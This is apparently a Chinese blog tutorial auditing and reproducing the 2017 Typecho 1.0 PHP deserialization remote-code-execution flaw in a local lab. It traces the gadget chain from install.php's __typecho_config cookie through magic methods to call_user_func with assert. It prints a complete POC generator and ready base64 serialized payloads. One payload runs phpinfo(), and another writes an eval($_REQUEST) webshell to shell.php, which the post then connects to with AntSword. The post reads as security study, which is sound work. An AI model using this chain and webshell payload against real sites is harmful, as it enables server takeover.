• 【PHP代码审计】反序列化漏洞实战


    概述

    序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式大多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写入到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重新创建该对象。简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台安全的进行通信。

    本篇文章将借助Typechov1.0(14.10.10)环境进行代码审计,最终完成对Typecho的利用与getshell。

    Typecho是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,目前使用SVN来做版本管理。

    2017年10月13日,Typecho爆出前台代码执行漏洞,知道创宇404团队研究人员成功复现了该漏洞。

    经过分析确认,该漏洞可以无限制执行代码,通过这种方式可以导致getshell。

    资源下载地址

    链接:https://pan.baidu.com/s/1S9v2y9NvvUG0KSSPkDG7Mg?pwd=yuan

    具体的typechov1.0(14.10.10)靶场环境安装教程这里不再赘述,网上教程很多。

    Typecho代码审计-漏洞原理

    参考文章:https://www.cnblogs.com/litlife/p/10798061.html

    call_user_func()

    经过对Typecho的代码审计,在Typecho_Request类中可以发现一个危险函数call_user_func

    image-20230905164143684

    这个函数是回调函数,里面可以传两个参数,第1个参数表示要调用的函数,第2个参数表示要传给要调用的函数的参数,假设我们传的第1个参数是assert,第2个参数是一个这样的字符串"fputs(fopen('shell.php', w), '')",就相当于我们执行了这个命令:

    assert(fputs(fopen('shell.php', w), ''));
    
    • 1

    这个命令意思就是我们创建并打开一个shell.php文件,并且把写入文件。相当于我们写了一个一句话木马文件到目标服务器,从而getshell。

    _applyFilter()、get()与__get`

    基于对以上危险函数的分析,我们开始寻找利用点

    要想完成以上危险函数的利用,就需要确保传入的两个参数是可控的,$filter属于Typecho_Request类的属性,是可以在创建对象的时候控制的,$value_applyFilter函数的参数,所以我们要查找一下哪里调用了_applyFilter函数,于是往上面分析。

    经过查找,我们可以在这个Typecho_Request类中看到get()函数里调用了_applyFilter()函数

    image-20230905170656515

    在这个get()函数中,调用了_applyFilter函数,并且传了参数$value,其中$value是可控的,因为他其实就是当前类的_params数组的一个键为$key的值,所以我们下一步要做的就是控制_params数组的$key,于是我们继续往上找,看看是谁调用了这个get()函数。

    image-20230905170835213

    经过查找可以发现,__get()函数调用了get()函数,__get()函数是非常特殊的一个函数,叫做魔法函数,当调用一个对象的私有属性的时候,就会默认调用这个魔法函数。因此我们需要找一个地方,看看哪里会用到对象的属性。

    __toString()

    经过查找,发现在Typecho_Feed类中的这个地方调用了_items数组对象的screenName属性,恰好_items数组是可控的,所以这里可以利用

    image-20230905174252265

    当我们访问_items数组中的author对应的对象的私有属性screenName的时候,会默认调用这个对象的__get()魔法函数,为了调用上面分析的__get()函数,我们把_items中author对应的对象设置为Typecho_Request对象即可,而且Typecho_Request类中没有screenName属性,也会默认调用Typecho_Request类的__get()函数

    在上一步分析中,我们要知道我们分析的代码是在哪个函数中:

    image-20230905174542073

    如图,是在Typecho_Feed类的__toString()函数中,这也是一个魔法函数,当一个对象与一个字符串进行拼接的时候,这个__toString()函数会被自动调用,所以接下来我们需要看看哪个对象具备和字符串拼接的操作。

    __construct()

    经过查找,在Typecho_Db类中发现他的构造函数具有一个可控参数与字符串进行拼接

    image-20230905175106219

    所以可以控制这个参数为一个对象,这个对象就是Typecho_Feed对象,当Typecho_Feed对象与字符串拼接的时候,就会调用这个Typecho_Feed对象的魔法函数__toString()。又因为这个__construct()是默认构造函数,默认构造函数在创建对象的时候会自动调用,所以需要往上分析,看看什么地方具有new这个Typecho_Db对象的条件。

    install.php

    经过查找,可以在install.php中发现以下代码:

    image-20230905180450369

    这个代码就new了一个Typecho_Db对象,可以默认调用这个对象的默认构造函数。

    根据以上代码分析可知,我们可以控制cookie的__typecho_config键的值,然后反序列化成为一个$config对象,所以$config对象是可控的,在对这个对象的构造完成之后,我们可以序列化这个对象,形成POC,在入口点将POC传入,即可形成利用链。

    POC利用

    typecho_1.0(14.10.10)_unserialize_fputs.php

    
    class Typecho_Feed{
    	const RSS1 = 'RSS 1.0';
    	const RSS2 = 'RSS 2.0';
    	const ATOM1 = 'ATOM 1.0';
       	const DATE_RFC822 = 'r';
    	const DATE_W3CDTF = 'c';
    	const EOL = "\n";
    	private $_type;
    	private $_items;
    	
    	public function __construct(){
    		$this->_type = $this::RSS2;
    		$this->_items[0] = array(
    			'title' => '1',
    			'link' => '1',
    			'date' => 1508895132,
    			'category' => array(new Typecho_Request()),
    			'author' => new Typecho_Request(),
    		);
    	}
    }
    
    class Typecho_Request{
    	private $_params = array();
    	private $_filter = array();
    
    	public function __construct(){
    		$this->_params['screenName'] = "fputs(fopen('shell.php', w), '')";
    		$this->_filter[0] = 'assert';
        }
    }
    
    $exp = array(
    	'adapter' => new Typecho_Feed(),
    	'prefix' => 'typecho_'
    );
    
    echo base64_encode(serialize($exp));
    ?>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41

    漏洞利用复现

    利用链

    反序列化 --> __construct() --> toString() --> __get() --> _applyFilter() --> call_user_func()

    执行phpinfo()

    生成恶意序列化数据:

    使用提供的typecho_1.0(14.10.10)_unserialize_phpinfo.php文件生成payload,如图:

    image-20230905135013906

    GET利用

    条件

    1. php版本5.4.45
    2. 具有序列化漏洞的php是install.php
    3. 序列化数据放在cookie中,key为__typecho_config
    4. 需要Referer头:http://10.9.75.168
    5. url中需要参数finish

    序列化数据放在cookie中,并且需要Referer校验

    /install.php?finish
    
    • 1
    __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
    
    • 1

    这里使用的是hackbar:

    image-20230905133727139

    也可以用BurpSuit修改请求包:

    image-20230905134418589

    POST利用

    条件

    1. php版本5.4.45
    2. 具有序列化漏洞的php是install.php
    3. 序列化数据放在cookie中或者body中,key为__typecho_config
    4. 与是否携带Referer头无关
    /install.php?finish
    
    • 1
    __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
    
    • 1

    image-20230905133843606

    getshell

    生成payload

    生成恶意序列化数据:

    使用提供的typecho_1.0(14.10.10)_unserialize_fputs.php文件生成payload,如图:

    image-20230905155725320

    __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjcxOiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywgdyksICc8P3BocCBwaHBpbmZvKCk7QGV2YWwoJF9SRVFVRVNUWzc3N10pPz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjcxOiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywgdyksICc8P3BocCBwaHBpbmZvKCk7QGV2YWwoJF9SRVFVRVNUWzc3N10pPz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
    
    • 1

    特别注意:这里有个奇怪的bug,在上面的代码中,如果创建的php文件的文件名是一个字符,将无法写入,比如a.php,一个字符以上才可以写入,比如1e.php就可以写入,当然我上面的文件名是shell.php,是没有问题的

    漏洞利用

    image-20230905155601193

    蚁剑连接

    image-20230905155252415

    总结

    ​ PHP反序列化漏洞主要就是借助魔法函数的自动调用特性,再结合程序中出现的危险函数,形成利用链。在本篇文章中,Typecho反序列化漏洞的利用链就是:反序列化 --> __construct() --> __toString() --> __get() --> _applyFilter() --> call_user_func()。

    其中可以看到多处地方调用了魔法函数,最终调用到了危险函数call_user_func()完成利用,至于如何构造对象,就需要分析要形成这条利用链的一些条件了,通常都是根据if else语句来制造利用条件的,比如install.php的入口处:

    image-20230905195114428

    由以上代码我们可以知道,在发起请求包的时候我们要注意传url参数与referer头,否则无法执行到我们的反序列化入口,导致无法形成利用链

    ​ 因此,要想借助反序列化漏洞形成利用链,首先就需要对这门语言属性,属性这门语言的危险函数,找到危险函数之后进行反推,往上查找调用链,如果最后可以找到反序列化入口,就可以形成利用链。

  • 相关阅读:
    [附源码]计算机毕业设计springboot基于JAVA技术的旅游信息交互系统
    Java IO包中Reader及Writer的简介说明
    opencv创建图片,绘制图片,画框,划线,改变像素点颜色
    常用、热门、免费的API接口应有尽有...
    助推智慧民航,美创亮相全国民航“互联网+”智慧机场建设发展高峰会
    【LTTng】核心概念精读
    设计有效的异常测试用例:关注这些方向,保障软件稳定性
    在腾讯云 TKE 上部署 EMQX MQTT 服务器集群
    Node.js学习(二)
    算法设计与分析复习知识
  • 原文地址:https://blog.csdn.net/weixin_46367450/article/details/132699330